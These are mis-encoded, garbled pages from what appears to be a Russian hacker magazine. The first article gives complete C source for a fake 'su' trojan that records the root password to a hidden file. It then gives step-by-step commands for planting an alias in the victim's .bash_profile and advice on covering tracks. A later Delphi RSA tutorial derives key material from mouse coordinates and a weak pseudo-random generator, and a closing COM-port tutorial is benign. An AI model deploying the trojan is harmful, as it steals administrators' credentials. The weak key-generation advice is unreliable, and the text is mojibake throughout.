åñëè âòîðàÿ ïîïûòêà îêàæåòñÿ óñïåøíîé, òî àäìèí íå<br />

ïðèäàñò áîëüøîãî çíà÷åíèÿ ïåðâîé, ñêîðåå äàæå îáðàäóåòñÿ,<br />

÷òî åãî ñèñòåìà öåëà è íåâðåäèìà :). Ñëåäóþùàÿ<br />

ïðîáëåìà çàêëþ÷àåòñÿ â òîì, ÷òî òâîÿ ôàëüøèâêà áóäåò<br />

ëåæàòü äàëåêî íå â /bin (äëÿ òîãî, ÷òîáû åå òóäà çàñóíóòü,<br />

íóæíû root-ïðàâà), à ãäå-òî â home-äèðåêòîðèè<br />

æåðòâû. À äëÿ ñóèäà (íå ñóèöèäà) æåðòâà áóäåò íàáèðàòü<br />

êîìàíäó su, ïîýòîìó íóæíî êàê-òî çàìåíèòü ýòó êîìàíäó<br />

ñâîèì fake-áèíàðíèêîì. Ïðè ðåøåíèè ýòîé çàäà÷è âîçìîæíû<br />

äâà ïóòè:<br />

1) Ïîôèêñèòü ïåðåìåííóþ $PATH íà ïðåæäåâðåìåííîå<br />

âûïîëíåíèå áèíàðíèêîâ èç òâîåé çàìàñêèðîâàííîé äèðåêòîðèè.<br />

2) Ñäåëàòü àëèàñ íà êîìàíäó su, êîòîðûé áóäåò ïåðåäàâàòü<br />

êîìàíäó íà âûïîëíåíèå òâîåé ïîääåëêå.<br />

Ìíå áîëüøå ïîíðàâèëñÿ âòîðîé ïóòü, òàê êàê âåðîÿòíîñòü<br />

ïðîñìîòðà âñåõ àëèàñîâ ìåíüøå, ÷åì ïðîñìîòð ïåðåìåííîé<br />

$PATH, äà è ñäåëàòü îäèí àëèàñ ëåã÷å, ÷åì ìåíÿòü<br />

âåñü ïóòü ê áèíàðíèêàì.<br />

Èòàê, íèæå ñëåäóåò êîä su.c, êîòîðûé òû ìîæåøü ìîäèôèöèðîâàòü,<br />

íàïðèìåð, äëÿ îòñûëêè íà E-mail ïàðîëÿ ñóïåðïîëüçîâàòåëÿ,<br />

ëèáî äëÿ ñâîèõ íóæä:<br />

#define SORRY "Sorry" /* Îòâåò su íà íåâåðíûé ïàðîëü.<br />

Âñòàâèòü àêòóàëüíûé äëÿ ñèñòåìû îòâåò */<br />

#define PFILE "tmp/.screen" /* Ôàéë, â êîòîðîì áóäåò<br />

íàõîäèòüñÿ çàïèñàííûé ïàðîëü */<br />

#define MYPATH "tmp/.screen_active" /* Ñàì ôàéë áèíàðíèêà<br />

*/<br />

#include /* Çàþçàåì îáðàáîòêó ñèãíàëîâ íà<br />

ñëó÷àé, åñëè àäìèí îáîðâåò âûïîëíåíèå ïî ctrl+c */<br />

void sigexit(int no); /* Îáúÿâèì ôóíêöèþ ïåðåõâàòà ñèãíàëà<br />

*/<br />

int main() {<br />

char pass[40];<br />

char longs[100]; /* Îáúÿâèì òàêæå ïåðåìåííûå äëÿ ïàðîëÿ<br />

è êîìàíäíîé ñòðîêè äëÿ èçãîòîâëåíèÿ ëèíêè */<br />

int filep;<br />

signal(SIGINT, sigexit); /* Îáðàáîòàåì ñèãíàë SIGINT */<br />

printf("Password:"); /* Çàïðîñèì ïàðîëü */<br />

system("stty -echo"); /* Âûðóáèì ýêðàíèçàöèþ ñèìâîëîâ,<br />

òåì ñàìûì çàìàñêèðîâàâ áèíàðíèê ïîä su ñòèëü */<br />

scanf("%s",pass); /* Ïðî÷èòàåì ñòðîêó ñ ïàðîëåì */<br />

system("stty echo"); /* Âåðíåì ýêðàíèçàöèþ */<br />

printf("\r\n");<br />

filep=fopen(PFILE,"w");<br />

fprintf(filep,"Pass is %s\n",pass); /* Çàïèøåì ïàðîëü â<br />

ôàéë */<br />

fclose(filep);<br />

printf("%s\r\n",SORRY); /* Íàïèøåì îòìàçó, ÷òî ïàðîëü<br />

íåâåðåí :) */<br />

strcpy(longs,"");<br />

strcat(longs,"/bin/ln -sf /bin/su ");<br />

strcat(longs,MYPATH); /* Ñîçäàäèì êîìàíäíóþ ñòðîêó:<br />

/bin/ln -sf /bin/su MYPATH */<br />

system(longs); /* È âûïîëíèì åå */<br />

exit(0); /* Âûõîäèì */<br />

}<br />

void sigexit(int no) {<br />

system("stty echo"); /* Ýêñòðåííî âðóáèì ýêðàíèçàöèþ è<br />

òîæå âûõîäèì :) */<br />

printf("\r\n\r\n");<br />

exit(0);<br />

}<br />

Åñëè òû çíàåøü àçû ïðîãðàììèðîâàíèÿ â C, òû ïîéìåøü<br />

ýòîò êóñîê êîäà áåç ïðîáëåì. Åñëè æå íå çíàåøü - ñìîòðè<br />

íà ïîäðîáíûé êîììåíòàðèé ñïðàâà. Êàê òû, íàâåðíîå,<br />

ðåäàêòèðóåì su.c<br />

ïîíÿë, ýòîò êîä ðåàëèçóåò àëãîðèòì, îïèñàííûé ÷óòü âûøå.<br />

Ñèãíàë SIGINT îáðàáàòûâàåòñÿ ðàäè òâîåé æå áåçîïàñíîñòè<br />

(åñëè àäìèíó âäðóã ðàñõî÷åòñÿ ââîäèòü ïàðîëü,<br />

îí áóäåò êðàéíå óäèâëåí îòêëþ÷åííûì echo'ì íà ñâîåì<br />

ïñåâäîòåðìèíàëå).<br />

À òåïåðü î ïðàâèëüíîé "èíñòàëëÿöèè" ýòîãî òâîðåíèÿ íà<br />

ìàøèíå æåðòâû. Âíà÷àëå ñêîìïèëü ýòîò ñèøíèê â áèíàðíèê.<br />

Çàòåì ïåðåíåñè åãî â çàðàíåå îáúÿâëåííûé äëÿ íåãî<br />

ïóòü (ñìîòðè êîä). Çàòåì ñëåäóåò äîáàâèòü àëèàñ íà<br />

âûçîâ êîìàíäû 'su', íî íå ïðîñòî äîáàâèòü, à ñäåëàòü<br />

òàê, ÷òîáû îí äîáàâëÿëñÿ àâòîìàòè÷åñêè. Ýòî ìîæíî ëåãêî<br />

ðåàëèçîâàòü, äàæå íå èìåÿ ðóòîâûõ ïðàâ, äîïèñàâ<br />

bash-êîìàíäó â ~/.bash_profile. Âíèìàíèå! Îáÿçàòåëüíî<br />

óáåäèñü, ÷òî ó ïîëüçîâàòåëÿ â êà÷åñòâå øåëëà ñòîèò<br />

èìåííî bash, òàê êàê â ïðîòèâíîì ñëó÷àå ïðîôèëü áóäåò<br />

äðóãèì (~/.profile äëÿ sh è ò.ï.). Çàòåì óáåäèñü, ÷òî ïîëüçîâàòåëü<br />

ìîæåò èçìåíÿòü çíà÷åíèå êîíñòàíòû PFILE<br />

(èìåííî â ýòîì ôàéëå áóäåò õðàíèòüñÿ "çàñíèôàííûé"<br />

ïàðîëü). Òàêèì îáðàçîì, äëÿ ïðàâèëüíîé óñòàíîâêè òåáå<br />

íóæíî âûïîëíèòü ñëåäóþùóþ ïîñëåäîâàòåëüíîñòü<br />

äåéñòâèé:<br />

# gcc su.c -o su<br />

# mkdir tmp<br />

# mv su tmp/.screen<br />

# echo 'alias su="/home/user/tmp/.screen"' >> .bash_profile<br />

Íåîáõîäèìîñòü â ïîëíîì ïóòè ê òâîåìó fake-su â êîìàíäå<br />

alias îáóñëîâëåíà òåì, ÷òî ïîëüçîâàòåëü ìîæåò óéòè<br />

èç ñâîåãî äîìàøíåãî êàòàëîãà, à ëèøü ïîòîì ñóèäíóòüñÿ.<br />

 òàêîì ñëó÷àå, ïðè îòíîñèòåëüíîì ïóòè, ñèñòåìà áû ïîðóãàëàñü<br />

íà íåâåðíîå ìåñòîïîëîæåíèå ôàéëà<br />

tmp/.screen, ÷òî íàâåðíÿêà ïðèâëåêëî áû âíèìàíèå æåðòâû.<br />

È êîãäà íà ñëåäóþùèé äåíü òû ñíîâà âîøåë áû íà<br />

ìàøèíó è ïî÷èòàë ñâîè ëîãè, òåáÿ, âîçìîæíî, æäàë áû<br />

ñþðïðèç. Ïîñëå ýòîãî íå çàáóäü çàìåñòè ñëåäû, óäàëèâ<br />

àëèàñ è âñå ñâîè ôàéëû. È åñëè âñå ïðîøëî óñïåøíî, òî<br />

ïîçäðàâëÿþ - îäíîé æåðòâîé ñòàëî áîëüøå :).<br />

Âíèìàíèå! Ýòà ñòàòüÿ íå çàñòàâëÿåò òåáÿ äåëàòü ÷òî-ëèáî<br />

ïðîòèâîçàêîííîå, à òîëüêî ðàññêàçûâàåò î âîçìîæíîñòè<br />

òîé èëè èíîé ñèòóàöèè. Âåñü âûøåîïèñàííûé ìàòåðèàë<br />

òû ìîæåøü èñïîëüçîâàòü òîëüêî äëÿ òîãî, ÷òîáû<br />

çàùèòèòü ñâîþ ñèñòåìó, íî íå äëÿ âòîðæåíèÿ â ÷óæóþ. È<br />

ïîìíè - ñòàðøèé áðàò ñëåäèò çà òîáîé ;).<br />

×òîáû òàêèõ øóòîê áûëî ìåíüøå, à âñå<br />

ñèñòåìû áûëè áîëåå èëè ìåíåå<br />

çàùèùåííûìè, ðåêîìåíäóþ<br />

àäìèíèñòðàòîðàì ïîäïèñàòüñÿ íà<br />

ðàññûëêó ïî áåçîïàñíîñòè *nix, à òàêæå<br />

ïî÷àùå ïðîâåðÿòü ñâîþ ñèñòåìó íà<br />

ðóòêèòû è ðåãóëÿðíî ÷èòàòü ëîãè.<br />

5 6 7 8 9<br />

Þíèêñîèä X-Ñòèëü Êîäèíã Þíèòû Quit> 83


Êîäèíã<br />

DELPHI ÄËß ÏÀÐÀÍÎÈÊÀ: ÑÂÎÉ PGP ÇÀ 5 ÌÈÍÓÒ<br />

Ëîçîâñêèé Àëåêñàíäð (klouniz@mail.ru)<br />

ñâîé PGP<br />

çà 5 ìèíóò<br />

Delphi<br />

äëÿ ïàðàíîèêà:<br />

Ñåãîäíÿ íàñ æäåò ïîèñòèíå ][-êîäèíã, à èìåííî íàïèñàíèå ñîáñòâåííîé êðèïòî-ïðîãè, óìåþùåé<br />

øèôðîâàòü òåêñò ïî ïðèíöèïó îòêðûòîãî êëþ÷à. Åñëè òû óæå íàïóãàí ðàçìåðàìè èñõîäíèêîâ<br />

PGP (êîòîðûå ëåíü ÷èòàòü äàæå ïðîáèòûì þíèêñîèäàì), ÿ òåáÿ óñïîêîþ. Äåëî â òîì, ÷òî<br />

äîáðûå êàïèòàëèñòû èç TSM inc íàïèñàëè äëÿ íàñ ñîâåðøåííî áåñïëàòíûé êîìïîíåíò, ðåàëèçóþùèé<br />

ôóíêöèè RSA àëãîðèòìà, êîòîðûé, ñîáñòâåííî, ñåé÷àñ è ÿâëÿåòñÿ ñòàíäàðòîì àñèììåòðè÷íîãî<br />

øèôðîâàíèÿ. Òàê ÷òî çà ðàçìåð êîäà ìîæåøü íå áåñïîêîèòüñÿ, îí áóäåò íåïðèëè÷íî<br />

ìàëåíüêèì è âìåñòå ñ òåì ïîëíîöåííûì. Ò.å. íàøà ñ òîáîé ïðîãà áóäåò óìåòü âñå, êàê è<br />

åå ñòàðøèå áðàòüÿ. À èìåííî - ãåíåðèòü êëþ÷è, øèôðîâàòü è ðàñøèôðîâûâàòü :).<br />

Âñïîìíèòü âñå<br />

Ïðåæäå ÷åì âçÿòüñÿ çà êîäèíã, íàì ïðèäåòñÿ ïðèïîìíèòü ïàðó òåîðåòè÷åñêèõ ìîìåíòîâ:<br />

1) Øèôðîâàíèå èíôîðìàöèè ïðîèçâîäèòñÿ ïðè ïîìîùè public key, à ðàñøèôðîâêà -<br />

private key. Ïåðâûé ìîæåò íàõîäèòüñÿ ó êîãî óãîäíî (ïîñêîëüêó ñïîñîáåí òîëüêî øèôðîâàòü),<br />

âòîðîé - òîëüêî ó òîãî, êîìó ïèøóò. Åãî íàäî áåðå÷ü êàê äåâñòâåííîñòü :).<br />

Äëèíà êëþ÷à ìîæåò áûòü 512, 1024 è 2048 áèò.  íàøåì ïðèìåðå ÿ áóäó èñïîëüçîâàòü<br />

1024-áèòíûé êëþ÷, ïîñêîëüêó ìåíüøàÿ äëèíà óæå äàâíî ñ÷èòàåòñÿ îòñòîåì, à 2048<br />

ñëèøêîì äîëãî âû÷èñëÿåòñÿ ìîèì 566 öåëåðîíîì.<br />

2) Ìàòåìàòè÷åñêîé îñíîâîé àëãîðèòìà ÿâëÿþòñÿ 2 áîëüøèõ ïðîñòûõ ÷èñëà - p è q. Îíè<br />

íàñòîëüêî áîëüøèå, ÷òî ðàçðàáîò÷èêè êîìïîíåíòà (êîòîðûé ìû ñåãîäíÿ áóäåì èñïîëüçîâàòü)<br />

ââåëè òèï BigNum. Ïîäðîáíåå ÿ ðàññêàæó î íåì íèæå.<br />

Ñëåäîâàòåëüíî, àâòîìàòè÷åñêàÿ ãåíåðàöèÿ êëþ÷à äëÿ íàñ áóäåò çàêëþ÷àòüñÿ èìåííî â<br />

íàõîæäåíèè p è q. Îñòàëüíîå êîìïîíåíò ñäåëàåò ñàì. È ýòî ïðàâèëüíî. Êàê ãîâîðèë ìîé<br />

ïðåïîäàâàòåëü òðóäà, "ïóñòü ðàáîòàþò ìåõàíèçìû". Ïðàâäà, îí åùå ñ÷èòàë, ÷òî àíàíàñû<br />

ðàñòóò íà äåðåâüÿõ, íî ðàáî÷åìó ÷åëîâåêó ýòî ïðîñòèòåëüíî.<br />

Ðåêâèçèò<br />

Ñðî÷íî áåãè íà http://www.crypto-central.com/software/freeware/RSA_free.zip (èëè íà íàø<br />

äèñê, êîòîðûé áëèæå) è êà÷àé êîìïîíåíò. Åñëè ïðè ïîÿâëåíèè íàäïèñè "download complete"<br />

òâîè ðóêè (êàê ýòî îáû÷íî ïðîèñõîäèò ñî ìíîé) ïðèõîäÿò â ñèëüíîå âîçáóæäåíèå<br />

è çàïóñêàþò èíñòàëëÿöèþ çàãðóæåííîãî, òî óéìè èõ. Ïîòîìó ÷òî ýòîãî ìàëî, íàäî åùå<br />

çàéòè íà http://www.crypto-central.com/cgi-bin/freeform.exe. Òàì, ïîñëå çàïîëíåíèÿ ïðîñòåíüêîé<br />

ôîðìû (ðàçìåð ëèô÷èêà è ãîäîâîé äîõîä òàì íå ñïðàøèâàþò, äîñòàòî÷íî ýëåêòðîííîãî<br />

àäðåñà, èìåíè è èñòî÷íèêà, îòêóäà òû î íèõ óçíàë) òåáå íà e-mail ñâàëèâàåòñÿ<br />

èíäèâèäóàëüíûé êîä äëÿ èíñòàëëÿöèè. Ìîæíî, ïðàâäà, íè÷åãî íå çàïîëíÿòü, ïîòîìó<br />

÷òî ÿ óæå ýòî ñäåëàë äî òåáÿ è ïîëó÷èë âîò ÷òî: hjkDL9l3s0s[39s3fm3. Ýòî êîä äëÿ áåñïëàòíîé<br />

âåðñèè.<br />

Ëàäíî, òåïåðü ìîæíî äàòü âîëþ ðóêàì è çàïóñòèòü èíñòàëëÿöèþ - îíà ñàìà íàéäåò òâîé<br />

äåëüôè è ïîëîæèò â êîìïîíåíòû íîâóþ çàêëàäêó - "crypto", ñîäåðæàùóþ êîìïîíåíò<br />

"RSA". Ïîýòîìó ñðî÷íî êèäàé åãî íà ôîðìó, è çàéìåìñÿ ïðîãðàììèðîâàíèåì.<br />

Ëîçîâñêèé Àëåêñàíäð (klouniz@mail.ru)<br />

Êîäèíã<br />

Íàì ïîíàäîáèòñÿ ñëåäóþùåå: 2 Edit, 2 êíîïêè, 2 RadioButton (òîæå ëåæèò â çàêëàäêå<br />

standard), 1 ProgressBar, 2 Memo èëè RichEdit - êîìó ÷òî íðàâèòñÿ. Ðàñïîëîæè èõ ïðèìåðíî<br />

òàê:<br />

84<br />

Ïåðâîçäàííàÿ êðàñîòà :)<br />

È äàâàé íàçâàíèÿ, êàê çäåñü:


Òåïåðü óæå òàì âñå ïðåäåëüíî ÿñíî, ñ êàæäûì èçìåíåíèåì êîîðäèíàòû ìû ïðèñâàèâàåì<br />

î÷åðåäíîìó ýëåìåíòó ìàññèâà ñëó÷àéíîå çíà÷åíèå, â çàâèñèìîñòè îò êîîðäèíàò<br />

ìûøêè. Ýòó ñèñòåìó òåáå ïðåäñòîèò êðóòî óñëîæíèòü, íàïðèìåð, èñïîëüçîâàòü íå êàæäóþ<br />

êîîðäèíàòó, à êàæäóþ 15-þ. Ñëó÷àéíûì îáðàçîì :).<br />

Øèôðóåìñÿ!<br />

Ñ ýòîãî ìîìåíòà ìîæíî îòêëþ÷àòü ñâîè ìîçãè îò ñåòè, îíè óæå íå ïîíàäîáÿòñÿ, ò.ê. âñå<br />

îñòàëüíîå êîìïîíåíò ñäåëàåò ñàì. Íàì îñòàíåòñÿ òîëüêî ñêàçàòü åìó, îòêóäà áðàòü êëþ-<br />

÷è è ÷òî äåëàòü (øèôðîâàòü èëè ðàñøèôðîâûâàòü, ÷òî îïðåäåëÿåòñÿ RadioButton’àìè).<br />

Äà ÷òî òóò ãîâîðèòü, ïîñìîòðè ñàì íà êíîïêó Start (îíà æå ïóñê :)).<br />

Íà÷íåì ðàáîòó ñ íàæàòèÿ ýòîé êíîïêè :)<br />

Îêîí÷àòåëüíûé âèä<br />

Ñîâñåì íå îáÿçàòåëüíî äåëàòü òàêóþ çäîðîâóþ êíîïêó "START", ïðîñòî ó ìåíÿ ðàçâèëàñü<br />

ãèãàíòîìàíèÿ, è ÿ ñòàðàþñü äåëàòü òàê, ÷òîáû â ëþáóþ êíîïêó ìîæíî áûëî ïîïàñòü<br />

íå öåëÿñü. Êñòàòè, â áóäóùåì ÿ íå óïóùó âîçìîæíîñòè ðàññêàçàòü î êàêîé-íèáóäü êîíñîëüíîé<br />

ïðîãðàììå, è òóò óæ òåáå âîîáùå íå ïðèäåòñÿ áàëîâàòüñÿ ñêðèíàìè :).<br />

Ïåðåìåííûå<br />

Äàâàé îáúÿâèì ñëåäóþùåå ïåðåìåííûå:<br />

pQ, pP: BigNum;<br />

nado: boolean;<br />

i, length: integer;<br />

FromT, ToT: String;<br />

Òóò pQ è pP - ýòî p è q, î êîòîðûõ ÿ ãîâîðèë â íà÷àëå, nado - îïðåäåëÿåò, íàäî ëè<br />

ñîçäàâàòü êëþ÷, i è length - íóæíû äëÿ ãåíåðàöèè êëþ÷à, FromT - èñõîäíàÿ ñòðîêà<br />

(äëÿ øèôðîâêè èëè ðàñøèôðîâêè), ToT - êîíå÷íûé òåêñò.<br />

Êëþ÷èêè<br />

Ñ ïåðåìåííûìè âñå ÿñíî, äàâàé ðàçáåðåìñÿ ñ ãåíåðàöèåé êëþ÷à. Äåëî â òîì, ÷òî<br />

p è q, î êîòîðûõ ÿ ãîâîðþ óæå â òðåòèé ðàç :), â ñóùíîñòè ïðåäñòàâëÿþò ñîáîé ìàññèâû<br />

èç 32-áèòíûõ ÷èñåë (ñëåäîâàòåëüíî, êàæäûé ýëåìåíò ìîæåò ïðèíèìàòü çíà-<br />

÷åíèå äî $FFFFFFFF), à äëèíà ñàìîãî ìàññèâà áóäåò çàâèñåòü îò äëèíû êëþ÷à è îïðåäåëÿòüñÿ<br />

ïåðåìåííîé length.<br />

Ïîýòîìó âñå, ÷òî íàì íàäî, ýòî ïðèñâîèòü çíà÷åíèå êàæäîìó ýëåìåíòó p è q, à çàòåì<br />

âû÷èñëèòü êëþ÷è êîìàíäîé MakeKeyPair. Ìîæíî, êîíå÷íî, ïðèñâîèòü ïðîñòî<br />

ñëó÷àéíûå çíà÷åíèÿ, èñïîëüçóÿ ãåíåðàòîð ïñåâäîñëó÷àéíûõ ÷èñåë îò äåëüôè, êàê<br />

íàñ è ó÷èëè â øêîëå :), íî òóò òåáÿ ìîæåò æäàòü îáëîì. ×èñëà, êîòîðûå îí âûäàåò,<br />

î÷åíü ïðåäñêàçóåìû, à ïîòîìó äåëàþò íàø êëþ÷ ñëèøêîì óÿçâèìûì. Èç-çà<br />

ýòîãî, êñòàòè, ìíîãèå êîìïîíåíòû ñîäåðæàò ñâîé ãåíåðàòîð ÷èñåë, ýôôåêòèâíîñòü<br />

êîòîðûõ òîæå âûçûâàåò ñîìíåíèå :). Ïîòîìó ìû è ïîéäåì ïóòåì PGP - áóäåì èñïîëüçîâàòü<br />

êîîðäèíàòû ìûøêè (â ñëó÷àéíîñòè êîòîðûõ ñîìíåâàòüñÿ íå ïðèõîäèòñÿ)<br />

- ò.å. äëÿ ãåíåðàöèè êëþ÷à ìû ïîïðîñèì þçåðà ïîêðóòèòü ìûøêîé, âûçûâàÿ<br />

òàêèì îáðàçîì ñîáûòèå MouseMove, è áóäåì èñïîëüçîâàòü ïîñòîÿííî ìåíÿþùèåñÿ<br />

êîîðäèíàòû êàê îñíîâó. Èòàê, íà÷íåì ñ ñîîòâåòñòâóþùåé êíîïêè, êîòîðàÿ íàçûâàåòñÿ<br />

"Ñãåíåðèðîâàòü êëþ÷". Âîò ÷òî ïðåäñòàâëÿåò ñîáîé åå îíêëèê:<br />

procedure TForm1.BitBtn1Click(Sender: TObject);<br />

begin<br />

IF RadioButton1.Checked then //Íàäî øèôðîâàòü<br />

begin<br />

FromT:= Memo1.text; //Èñõîäíàÿ ñòðîêà<br />

RSA1.PublicKey:= Edit2.Text; //Êëþ÷<br />

RSA1.EncryptString(FromT, ToT); //Çàøèôðîâàëè<br />

Memo2.text:= ToT; //Âûâåëè êîíå÷íûé òåêñò<br />

end else //Àõ, íå øèôðîâàòü Òîãäà íàîáîðîò :)<br />

begin<br />

RSA1.PrivateKey:= EDit1.Text;<br />

FromT:= memo2.Text;<br />

RSA1.DecryptString(FromT, ToT);<br />

Êîäèíã êîìïëèò<br />

MEmo1.Text:= ToT;<br />

end;<br />

end;<br />

Âîò òàê. Îáúÿñíÿþ äàëüøå. Áåðè ñòðî÷êó èç Memo1 è øèôðóé åå êëþ÷îì èç Edit2. È íàîáîðîò<br />

:). Ïðè òàêîì óïðîùåíèè þçåðîâ íà ïëàíåòå âîîáùå ñêîðî íå îñòàíåòñÿ - âñå ðèíóòñÿ<br />

êîäèòü. Ïîñìîòðè íà ðåçóëüòàò øèôðîâàíèÿ:<br />

nado:= true; I:=0;<br />

length:= RSA1.GetPrecision;<br />

Progressbar1.Min:=0;<br />

Progressbar1.Max:=length-1;<br />

Òóò ÿ çàñâèäåòåëüñòâóþ íàäîáíîñòü è èíèöèàëèçèðóþñü, ïëþñ ðàññòàâëþ ìèíèìàëüíîå<br />

è ìàêñèìàëüíîå çíà÷åíèÿ ïðîãðåññáàðà. Òåïåðü ñàìîå èíòåðåñíîå - ñîçäàé äëÿ<br />

ôîðìû ñîáûòèå TForm1.FormMouseMove è âûæãè â íåì ñëåäóþùåå:<br />

Êîäèíã êîìïëèò<br />

Ëèñòèíã TForm1.FormMouseMove<br />

procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X,<br />

Y: Integer);<br />

begin<br />

IF nado= true then //Ïîåõàëè<br />

begin<br />

IF i= length-1 then //Äà âåäü ìû âñå çàïîëíèëè...<br />

begin<br />

RSA1.MakeKeyPair(pP, pQ); //Îáðàçóåì êëþ÷<br />

nado:= false; //È óæå íè÷åãî íå íàäî<br />

Edit1.Text:= RSA1.PrivateKey; //Îòîáðàçèì íàéäåííîå<br />

Edit2.Text:= RSA1.PublicKey;<br />

end else //Àõ, íå çàïîëíèëè Èñïðàâèì<br />

begin<br />

pP.Contents[i]:= X*Y*random($FFFF); //Êîîðäèíàòû óìíîæàåì íà ñëó÷àéíîñòü<br />

pQ.Contents[i]:= X*Y*Y*random($FFFF);<br />

Progressbar1.Position:=i; //Óâåëè÷èì ïðîãðåññ :)<br />

inc(i); //Ïåðåéäåì ê ñëåäóþùåìó ýëåìåíòó, óâåëè÷èì i<br />

end;<br />

end;<br />

end;<br />

Çàìåòèë, ÷òî îí íàìíîãî áîëüøå îðèãèíàëà Ýòî íå ãëþê, à ñóðîâàÿ ðåàëüíîñòü àñèììåòðè÷íûõ<br />

àëãîðèòìîâ. Ðàçìåð øèôðîâàííîãî òåêñòà áîëüøå îðèãèíàëà, ïðè÷åì çàâèñèò<br />

ýòî îò äëèíû êëþ÷à.<br />

End Of The World<br />

Íó âñå, ñ ýòîãî ìîìåíòà ìîæåøü ñ÷èòàòü, ÷òî ñâîé PGP ó òåáÿ óæå åñòü. Êëþ÷è åãî ïîëíîñòüþ<br />

ñîâìåñòèìû ñ äðóãèìè ðåàëèçàöèÿìè RSA àëãîðèòìà, à â èñõîäíèê ÿ åùå âêëþ-<br />

÷èë ôóíêöèþ ñîõðàíåíèÿ è çàãðóçêè îòêðûòîãî êëþ÷à èç ôàéëà. Ïîýòîìó íå çàáóäü ñêà-<br />

÷àòü åãî ñ www.cydsoft.com/vr-online èëè âçÿòü íà äèñêå. Äà, åùå ãëÿíü íà äèðåêòîðèþ ñ<br />

êîìïîíåíòîì, òàì åñòü õåëï-ôàéë è åãî íåïëîõî áû ïî÷èòàòü (ïðàâäà, îí íà àíãëèéñêîì).<br />

Òàì ïîíàïèñàíî ìíîãî èíòåðåñíîãî, â òîì ÷èñëå è ïðî öèôðîâóþ ïîäïèñü (äà,<br />

îíà òîæå ïîääåðæèâàåòñÿ RSA àëãîðèòìîì). Âåùü ýòî íóæíàÿ, ïîòîìó ÷òî áåç íåå MS IE<br />

íèêîãäà áû íå âûäàâàë íå÷òî âðîäå: "Ïîäëèííîñòü The Super-Porno-Viewer óäîñòîâåðåíà<br />

êîìïàíèåé Ìàéêðîñîôò. Âñåãäà ëè äîâåðÿòü êîìïàíèè Ìàéêðîñîôò" :)<br />

Íà ýòîé òîðæåñòâåííîé íîòå âàø íåïîêîðíûé ñïåøèò îòêëàíÿòüñÿ è ñîîáùèòü, ÷òî íà<br />

âñå âîïðîñû (æàëîáû, ïðåäëîæåíèÿ, òóïîé ôëåéì, etc) îí ñ óäîâîëüñòâèåì îòâåòèò ïî<br />

ýëåêòðîííîé ïî÷òå :).<br />

85


Êîäèíã<br />

C/C++: ÐÀÁÎÒÀÅÌ Ñ COM-ÏÎÐÒÎÌ<br />

Íèêîëàé «GîrluM» Àíäðååâ (gorlum@real.xakep.ru)<br />

Âõîäèò è<br />

Âûõîäèò....<br />

Ðàáîòàåì ñ COM-ïîðòîì<br />

Äàâíûì-äàâíî, âî âðåìåíà ñòàðîãî äîáðîãî DOS`à, ðàáîòàòü ñ õàðäâàðîì áûëî ãîðàçäî ïðîùå.<br />

Âçÿòü, íàïðèìåð, óïðàâëåíèå êîììóíèêàöèîííûìè ïîðòàìè. Ïðîãðàììû òîãäà èñïîëüçîâàëè<br />

ïðåðûâàíèÿ è îáùàëèñü ñ óñòðîéñòâàìè íàïðÿìóþ (ýòî áûëî íàñòîÿùåå ðàçäîëüå<br />

âèðìåéêåðàì). Ñ òåõ ïîð ìíîãîå ïåðåìåíèëîñü. Íà ñìåíó ÄÎÑó ïðèøëè âèíäû, à ñ íèìè è<br />

íîâûå ïðàâèëà. Òåïåðü ïðîãðàììû, ðàáîòàþùèå â Windows, îáùàþòñÿ ñ óñòðîéñòâîì íå íàïðÿìóþ,<br />

à ÷åðåç ñïåöèàëüíûå WinAPI ôóíêöèè. Âîò ýòè ñàìè WinAPI ôóíêöèè ìû ñåãîäíÿ è<br />

áóäåì èçó÷àòü. Ðàçáåðåì ðàáîòó ñ COM-ïîðòîì, à â êà÷åñòâå ïðèìåðà íàïèøåì ïðîñòåíüêóþ<br />

òåðìèíàëüíóþ ïðîãðàììó äëÿ ìîäåìà ñ ïðîñòûì è êðàñèâûì ãðàôè÷åñêèì èíòåðôåéñîì.<br />

Íèêîëàé "GorluM" Àíäðååâ (gorlum@real.xakep.ru)<br />

Ðàáîòàåì êàê ñ ôàéëîì<br />

Ñàìà ñèñòåìà äðàéâåðîâ, äà è âèíäîâ â öåëîì, ïîçâîëÿåò ðàáîòàòü ñ êîììóíèêàöèîííûìè<br />

ïîðòàìè (íå òîëüêî COM, íî è LPT) êàê ñ îáûêíîâåííûìè ôàéëàìè. Òî åñòü äëÿ<br />

ýòîãî áóäóò èñïîëüçîâàòüñÿ òå æå ôóíêöèè, ÷òî è ïðè ðàáîòå ñ ôàéëàìè. Âîò êàê ýòî<br />

ðåàëèçóåòñÿ. Äëÿ íà÷àëà âçàèìîäåéñòâèÿ ñ ïîðòîì íåîáõîäèìî ïîëó÷èòü åãî õýíäë ïðè<br />

ïîìîùè ôóíêöèè CreateFile. Ïðè÷åì ïàðàìåòðû òî÷íî òàêèå æå, êàê è ïðè ðàáîòå ñ<br />

ôàéëàìè, òîëüêî â ïîëå èìåíè ôàéëà ìû ñòàâèì èìÿ ïîðòà - "COM1", "COM2" è ò.ï.:<br />

HANDLE hCom =<br />

CreateFile("COM1",GENERIC_READ|GENERIC_WRITE,0,0,OPEN_EXISTING,0,0);<br />

Äëÿ äðóãèõ ïðèëîæåíèé äðàéâåð ïîðòà ïîëó÷èò ñòàòóñ "çàíÿòûé", è â ïåðåìåííîé<br />

hCom îêàæåòñÿ HANDLE ïîðòà. Òåïåðü ìû ìîæåì ðàáîòàòü ñ íèì ïðè ïîìîùè äâóõ<br />

api-ôóíêöèé: ReadFile è WriteFile. Íàïðèìåð, äëÿ òîãî ÷òîáû ïîñëàòü â ïîðò ñòðîêó<br />

buffer, íåîáõîäèìî ñäåëàòü ñëåäóþùåå:<br />

WriteFile(hCom, buffer, strlen(buffer), &n, 0);<br />

 ïåðâîì ïàðàìåòðå ýòîé ôóíêöèè ìû ïåðåäàåì õýíäë ïîðòà, äàëåå óêàçàòåëü íà<br />

ñòðîêó, îáúåì ïîñûëàåìûõ áàéò, çàòåì óêàçàòåëü íà ïåðåìåííóþ òèïà DWORD, â êîòîðóþ<br />

çàíåñåòñÿ êîëè÷åñòâî ïîñëàííûõ áàéò, è óêàçàòåëü íà overlapped-áóôåð (îí<br />

íàì íå íóæåí, ïîýòîìó ïðîñòî ïåðåäàåì íîëü).<br />

À âîò ÷òî íåîáõîäèìî ñäåëàòü, ÷òîáû ïðî÷èòàòü èç ïîðòà ñòðîêó äëèíîé â 6 ñèìâîëîâ:<br />

ReadFile(hCom, &buffer, 6, &n, 0);<br />

